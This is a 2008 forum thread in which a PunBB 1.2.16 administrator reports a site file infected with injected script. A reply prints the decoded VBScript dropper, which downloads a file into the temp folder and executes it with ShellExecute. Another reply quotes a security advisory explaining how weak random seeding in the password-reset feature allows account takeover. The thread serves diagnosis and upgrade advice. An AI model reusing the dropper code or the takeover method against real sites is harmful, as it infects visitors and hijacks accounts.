Topic: 1.2.16 hacked...

I have 1.2.16 installed.

My lang/language/index.html file is infected with something like this:

<Script Language='Javascript'>

I know I should've upgraded to a new version, but, considering the harm done, my question is: is this flaw already corrected in the new versions?

If so, what harm could/did this code do?

Thanks. smile


Re: 1.2.16 hacked...

Its a virus.

The code evaluates to:

<scr(disabled)ipt language="VBScript">

    on error resume next

    mmmmdf = ""





    Set sdddw = document.createElement(zstr)
    sdddw.setAttribute sstr, tsstr
    Set edd = sdddw.CreateObject(str,"")

    set cccc = sdddw.createobject(straa,"")
    cccc.type = 1

    edd.Open str6, mmmmdf, False


    set vvvv = sdddw.createobject(frstr,"")
    set tmp = vvvv.GetSpecialFolder(2)
    eeeedff= vvvv.BuildPath(tmp,eeeedff)

    cccc.write edd.responseBody

    cccc.savetofile eeeedff,2


    set xxsdd = sdddw.createobject(gtrrstr,"")
    xxsdd.ShellExecute eeeedff,"","","open",0



which seems to download a virus of some sort and try to run it on your computer. It would only affect IE AFAIK, no one in their right mind would have IE's security settings on "ultra-low".

3 (edited by fmimoso 2008-06-11 11:15)

Re: 1.2.16 hacked...

Thanks for your reply. smile

Risking abusing your goodwill, do you know how it got there?

Re: 1.2.16 hacked...

seems the question is solved. did it work??

Re: 1.2.16 hacked...

I've updated to the last version and I think it's solved.

6 (edited by HOLLYWOOD 2008-06-12 09:25)

Re: 1.2.16 hacked...

There is a large hole in PunBB 1.2.16 in the forgotten password script.

Application: PunBB <= 1.2.16
Severity: Weak random numbers lead to a blind password recovery vulnerability that allows account takeover
Risk: High
Vendor Status: Vendor has released PunBB 1.2.17 which fixes this issue. (Make sure you update ASAP if you haven't yet...)


   Quote from
   "PunBB is a fast and lightweight PHP-powered discussion board.
    It is released under the GNU General Public License. Its primary
    goals are to be faster, smaller and less graphically intensive as
    compared to other discussion boards. PunBB has fewer features
    than many other discussion boards, but is generally faster and
    outputs smaller, semantically correct XHTML-compliant pages."

   PunBB comes with a password reset feature that allows resetting a
   forgotten password. When a password reset is requested an email
   is sent to the user containing a new random password and an
   activation link that needs to be visited in order for the password
   change to become effective.
   Unfortunately it is possible due to several weak random numbers
   to determine the new random password and the activation link
   from the outside. This allows taking over any account on the
   forum including the administrator account.


   PunBB's password reset functionality uses internally mt_rand() to
   generate a new password and a new activation link that are both
   send to the user by email.
   Unfortunately PunBB initialises the mersenne twister random number
   generator on every request with a number between 0 and 1.000.000,
   depending on the current microsecond. This means there are only
   one million possible new passwords and new activation links. It
   would be possible to bruteforce this limited area, but the amount
   of time and traffic that would be required is huge.
   Because of this a better one shot solution was developed that
   allows to determine the new password and the new activation link
   from the result of the request that triggered the password reset.
   To understand how this is possible it is necessary to know that
   during the installation PunBB creates a "random" cookie seed that
   is used to store login data in the cookie during a visit. This
   cookie seed generation is not really random, because it is more
   or less the MD5 hash of the current timestamp. This means it is
   easily bruteforceable when the attacker has his own user account
   at the forum. He just needs to use his own login cookie and then
   check all seconds backwards from the date the admin account was
   created (see in memberlist).

   The second component required for the attack to work is PunBB's
   habit to return a cookie with a randomly generated password, when
   it receives a wrong login cookie. Because the cookie seed is known
   it can be used to check which one of the one million possible
   passwords was generated. By knowing the password we know the
   seed used in the call to mt_srand() which lets us predict all
   random numbers during the request.
   It should be obvious that using this attack on the request that
   triggers the password reset allows to blindly determine the new
   password and the new activation link in a few seconds. Both can
   then be used to takeover the attacked account.

Proof of Concept:

   SektionEins GmbH is not going to release a proof of concept
   exploit for this vulnerability.

Disclosure Timeline:

   15. February 2008 - Notified
   19. February 2008 - PunBB developers released PunBB 1.2.17
   20. February 2008 - Public Disclosure


   It is strongly recommended to upgrade to the latest version of
   PunBB which also fixes additional vulnerabilities reported by
   third parties.
   Grab your copy at:

It's likely the way that the hacker achieved Admin access to the forum.

Re: 1.2.16 hacked...


It's likely the way that the hacker achieved Admin access to the forum.

You would need more than admin access to the forum, to edit the lang/language/index.html file.

Re: 1.2.16 hacked...

Reines wrote:

It's likely the way that the hacker achieved Admin access to the forum.

You would need more than admin access to the forum, to edit the lang/language/index.html file.

FTP access.

Re: 1.2.16 hacked...

Your computer is possibly infected by a password stealing Trojan.
Here is the story of such an infection.

Carpe diem